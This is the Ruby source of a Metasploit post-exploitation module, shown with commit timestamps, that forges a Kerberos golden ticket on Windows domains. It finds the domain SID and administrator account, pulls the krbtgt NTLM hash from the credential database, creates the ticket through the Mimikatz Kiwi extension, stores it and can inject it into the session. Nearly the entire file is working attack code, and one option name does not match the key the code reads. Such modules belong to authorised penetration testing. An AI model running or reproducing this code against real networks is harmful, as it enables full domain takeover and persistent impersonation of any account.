metasploit-framework/modules/post/windows/escalate/golden_ticket.rb

224 lines
7.7 KiB
Ruby
Raw Normal View History

2014-12-13 15:59:06 +00:00
require 'msf/core'
require 'msf/core/post/windows/netapi'
require 'msf/core/post/windows/kiwi'
require 'msf/core/post/windows/error'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::NetAPI
include Msf::Post::Windows::Accounts
include Msf::Post::Windows::Kiwi
include Msf::Post::Windows::Error
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Escalate Golden Ticket',
'Description' => %q{
2014-12-13 16:06:09 +00:00
This module will create a Golden Kerberos Ticket using the Mimikatz Kiwi Extension. If no
2014-12-13 16:11:35 +00:00
options are applied it will attempt to identify the current domain, the domain administrator
account, the target account SID, and retrieve the krbtgt NTLM hash from the database. By default
the well-known Administrator's groups 512, 513, 518, 519, and 520 will be applied to the ticket.
2014-12-13 15:59:06 +00:00
},
'License' => MSF_LICENSE,
'Author' => [
'Ben Campbell'
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' =>
[
['URL', 'https:/github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos'],
['URL', 'http://blog.cobalstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/']
]
))
register_options(
[
OptBool.new('USE', [true, 'Use the ticket in the current session', false]),
OptString.new('USER', [false, 'Target User']),
OptString.new('DOMAIN', [false, 'Target Domain']),
OptString.new('KRBTGT_HASH', [false, 'KRBTGT NTLM Hash']),
OptString.new('Domain SID', [false, 'Domain SID']),
OptInt.new('ID', [false, 'Target User ID']),
OptString.new('GROUPS', [false, 'ID of Groups (Comma Seperated)'])
], self.class)
end
def run
return unless load_kiwi
user = datastore['USER']
domain = datastore['DOMAIN']
krbtgt_hash = datastore['KRBTGT_HASH']
domain_sid = datastore['SID']
id = datastore['ID'] || 0
groups = []
groups = datastore['GROUPS'].split(',').map(&:to_i) if datastore['GROUPS']
unless domain
print_status('Searching for the domain...')
domain = get_domain
if domain
print_good("Targeting #{domain}")
else
fail_with(Failure::Unknown, 'Unable to retrieve the domain...')
end
end
unless krbtgt_hash
2014-12-13 16:09:43 +00:00
if framework.db.active
print_status('Searching for krbtgt hash in database...')
krbtgt_hash = lookup_krbtgt_hash(domain)
fail_with(Failure::Unknown, 'Unable to find krbtgt hash in database') unless krbtgt_hash
else
fail_with(Failure::BadConfig, 'No database, please supply the krbtgt hash')
end
2014-12-13 15:59:06 +00:00
end
unless domain_sid
print_status("Obtaining #{domain} SID...")
domain_sid = lookup_domain_sid(domain)
if domain_sid
print_good("Found #{domain} SID: #{domain_sid}")
else
fail_with(Failure::Unknown, "Unable to find SID for #{domain}")
end
end
unless user
if id && id != 0
print_status("Lookup up User #{id}")
user = resolve_sid("#{domain_sid}-#{id}")[:name]
else
print_status('Looking up Domain Administrator account...')
user = resolve_sid("#{domain_sid}-500")[:name]
end
if user
print_good("Found User: #{user}")
else
fail_with(Failure::Unknown, 'Unable to find User')
end
end
unless user && domain && domain_sid && krbtgt_hash
fail_with(Failure::Unknown, 'Not all requirements obtained')
end
print_status("Creating Golden Ticket for #{domain}\\#{user}...")
ticket = client.kiwi.golden_ticket_create(user, domain, domain_sid, krbtgt_hash, id, groups)
if ticket
print_good('Golden Ticket Obtained!')
ticket_location = store_loot("golden.ticket",
"binary/kirbi",
session,
ticket,
"#{domain}\\#{user}-golden_ticket.kirbi",
"#{domain}\\#{user} Golden Ticket")
print_status("Ticket saved to #{ticket_location}")
if datastore['USE']
print_status("Attempting to use the ticket...")
client.kiwi.kerberos_ticket_use(ticket)
print_good("Kerberos ticket applied successfully")
end
else
fail_with(Failure::Unknown, 'Unable to create ticket')
end
end
def lookup_domain_sid(domain)
string_sid = nil
cb_sid = 0
cch_referenced_domain_name = 0
sid_buffer = nil
referenced_domain_name_buffer = nil
# Send 0 length buffers so we get the correct buffer sizes from the out values
buffers = client.railgun.advapi32.LookupAccountNameA(
nil,
2014-12-13 16:13:18 +00:00
domain,
2014-12-13 15:59:06 +00:00
sid_buffer,
cb_sid,
referenced_domain_name_buffer,
cch_referenced_domain_name,
1)
if !buffers['return'] && buffers['GetLastError'] == INSUFFICIENT_BUFFER
sid_buffer = cb_sid = buffers['cbSid']
referenced_domain_name_buffer = cch_referenced_domain_name = buffers['cchReferencedDomainName']
res = client.railgun.advapi32.LookupAccountNameA(
nil,
domain,
sid_buffer,
cb_sid,
referenced_domain_name_buffer,
cch_referenced_domain_name,
1)
else
return nil
end
if res['return']
sub_authority_count = res['Sid'].unpack('CC')[1]
sid = res['Sid'].unpack("CCCCCCCCV#{sub_authority_count}")
string_sid = "S-#{sid[0]}-#{sid[7]}-#{sid[8]}-#{sid[9]}-#{sid[10]}-#{sid[11]}"
else
print_error("Error looking up SID: #{res['ErrorMessage']}")
end
string_sid
end
def lookup_krbtgt_hash(domain)
krbtgt_hash = nil
2014-12-13 16:09:43 +00:00
krbtgt_creds = Metasploit::Credential::Core.joins(:public, :private).where(
metasploit_credential_publics: { username: 'krbtgt' },
metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' },
workspace_id: myworkspace.id)
if krbtgt_creds
if krbtgt_creds.count == 0
print_error('No KRBTGT Hashes found in database')
elsif krbtgt_creds.count > 1
# Can we reduce the list by domain...
krbtgt_creds_realm = krbtgt_creds.select { |c| c.realm.to_s.upcase == domain.upcase }
# We have found a krbtgt hashes in our target domain
if krbtgt_creds_realm.length == 1
cred = krbtgt_creds_realm.first
2014-12-13 15:59:06 +00:00
krbtgt_hash = cred.private.data.split(':')[1]
print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}")
2014-12-13 16:09:43 +00:00
return krbtgt_hash
# We have found multiple krbtgt hashes in our target domain?!
elsif krbtgt_creds_realm.length > 0
krbtgt_creds = krbtgt_creds_realm
end
# Multiple hashes found, the user will have to manually set one...
print_error('Multiple KRBTGT Hashes found in database, please use one of the below:')
krbtgt_creds.each do |kc|
hash = kc.private.data.split(':')[1]
print_line("#{kc.realm}:#{kc.public.username}:#{hash}")
2014-12-13 15:59:06 +00:00
end
2014-12-13 16:09:43 +00:00
else
# Highlander, there can only be one!
cred = krbtgt_creds.first
krbtgt_hash = cred.private.data.split(':')[1]
print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}")
2014-12-13 15:59:06 +00:00
end
end
krbtgt_hash
end
end